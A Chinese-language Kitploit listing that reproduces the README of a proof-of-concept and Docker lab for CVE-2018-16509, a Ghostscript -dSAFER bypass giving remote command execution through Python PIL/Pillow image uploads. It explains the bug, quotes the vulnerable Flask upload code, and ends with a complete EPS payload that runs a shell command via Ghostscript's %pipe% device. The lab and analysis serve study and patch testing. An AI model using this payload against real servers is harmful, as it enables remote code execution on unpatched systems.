Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PIL-RCE-Ghostscript-CVE-2018-16509 — PoC + Docker 环境,用于 Python PIL/Pillow 通过 Ghostscript CVE-2018-16509 远程 Shell 命令执行 | Kitploit
工具/GitHubGitHub/farisv/pil-rce-ghostscript-cve-2018-16509
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubfarisv/pil-rce-ghostscript-cve-2018-16509

PIL-RCE-Ghostscript-CVE-2018-16509

PoC + Docker 环境,用于 Python PIL/Pillow 通过 Ghostscript CVE-2018-16509 远程 Shell 命令执行

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
611347年前Kitploit 审核通过
分享

通过 Ghostscript CVE-2018-16509 实现 Python PIL/Pillow 远程 Shell 命令执行

灵感来源于 https://github.com/ysrc/PIL-RCE-By-GhostButt(PIL/Pillow RCE via CVE-2017-8291)。这个 Docker 环境使用的是较新版本的 Ghostscript (v9.23) 和较新的漏洞利用 (CVE-2018-16509)。

Ghostscript 是一套基于 Adobe Systems PostScript 和 Portable Document Format (PDF) 页面描述语言解释器的软件。奇怪的是,Ghostscript 会存在于生产服务器中(例如 /usr/local/bin/gs),即使没有应用程序直接使用它,因为 Ghostscript 是作为其他软件(例如 ImageMagick)的依赖项安装的。Ghostscript 中发现了大量漏洞;其中之一是 CVE-2018-16509(由 Google Project Zero 的 Tavis Ormandy 发现),该漏洞允许在 Ghostscript v9.24 之前通过处理失败的恢复操作(grestore)绕过 -dSAFER 安全模式,从而在 PostScript 中禁用 LockSafetyParams 并避免 invalidaccess,进而执行任意命令。该漏洞可通过诸如 ImageMagick 或带有 Ghostscript 包装器的编程语言图像库(本示例中的 PIL/Pillow)等库进行利用。

安装

为了测试和概念验证,我们可以在 Docker 环境中尝试该漏洞利用。

在 Ubuntu 上安装 Docker/Docker-Compose:

root@kitploit:~
# 安装 pip
curl -s https://bootstrap.pypa.io/get-pip.py | python

# 安装最新版 Docker
curl -s https://get.docker.com/ | sh

# 启动 Docker 服务
service docker start

# 安装 Docker Compose
pip install docker-compose

其他操作系统的 Docker 和 Docker-Compose 安装步骤可能略有不同,详情请参考 Docker 文档。

运行环境

root@kitploit:~
# 克隆仓库
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git

# 进入仓库目录
cd PIL-RCE-Ghostscript-CVE-2018-16509

# 编译环境
docker-compose build

# 运行环境
docker-compose up -d

存在漏洞的 Flask 应用可通过 http://127.0.0.1:8000 访问。测试结束后可以停止环境。

root@kitploit:~
docker-compose down -v

漏洞利用

你可以上传 rce.jpg(一个特制的 EPS 图像,并非真正的 JPG 文件)来在服务器上执行 touch /tmp/got_rce。作为证明,你可以执行 docker exec [CONTAINER_ID] ls -alt /tmp。要获取 CONTAINER_ID,可以使用 docker container ls 查看。如果想更改 shell 执行的其他命令,可以直接在 rce.jpg 中修改 touch /tmp/got_rce。

分析

你可以参考 Tavis Ormandy 在 oss-security 上对漏洞的说明。

你可以查看 PIL/Pillow 中 Ghostscript 包装器的源代码:EPSImagePlugin.py。

以下是 app.py 中的漏洞代码:

root@kitploit:~
@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        file = request.files.get('image', None)

        if not file:
            flash('No image found')
            return redirect(request.url)

        filename = file.filename
        ext = path.splitext(filename)[1]

        if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
            flash('Invalid extension')
            return redirect(request.url)

        tmp = tempfile.mktemp("test")
        img_path = "{}.{}".format(tmp, ext)

        file.save(img_path)

        img = Image.open(img_path)
        w, h = img.size
        ratio = 256.0 / max(w, h)

        resized_img = img.resize((int(w * ratio), int(h * ratio)))
        resized_img.save(img_path)

上传文件的内容会被 img = Image.open(img_path) 加载。PIL 会自动检测该图像是否为 EPS 图像(例如:在文件开头添加 %!PS-Adobe-3.0 EPSF-3.0),并调用 EPSImagePlugin.py 中 EpsImageFile 类的 _open() 方法。为了避免 raise IOError("cannot determine EPS bounding box"),需要在文件中添加一个边界框(例如:%%BoundingBox: -0 -0 100 100)。

EPS 图像的主体部分将由 Ghostscript 二进制文件通过 subprocess 处理,如 EPSImagePlugin.py 中的 Ghostscript 函数所示。

root@kitploit:~
    # Build Ghostscript command
    command = ["gs",
               "-q",                         # 静默模式
               "-g%dx%d" % size,             # 设置输出几何尺寸(像素)
               "-r%fx%f" % res,              # 设置输入 DPI(每英寸点数)
               "-dBATCH",                    # 处理完成后退出
               "-dNOPAUSE",                  # 页面之间不暂停
               "-dSAFER",                    # 安全模式
               "-sDEVICE=ppmraw",            # ppm 驱动
               "-sOutputFile=%s" % outfile,  # 输出文件
               "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                             # 调整图像原点
               "-f", infile,                 # 输入文件
               "-c", "showpage",             # showpage(参见:https://bugs.ghostscript.com/show_bug.cgi?id=698272)
               ]


    ....

    try:
        with open(os.devnull, 'w+b') as devnull:
            startupinfo = None
            if sys.platform.startswith('win'):
                startupinfo = subprocess.STARTUPINFO()
                startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            subprocess.check_call(command, stdin=devnull, stdout=devnull,
                                  startupinfo=startupinfo)

以上代码在 Image.py 中调用 load 时执行,因此仅打开图像不会触发漏洞。像 resize、crop、rotate 和 save 这样的函数会调用 load 并触发该漏洞。

结合 Tavis Ormandy 的 POC,我们可以制作 rce.jpg 用于远程 shell 命令执行。

root@kitploit:~
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
下载工具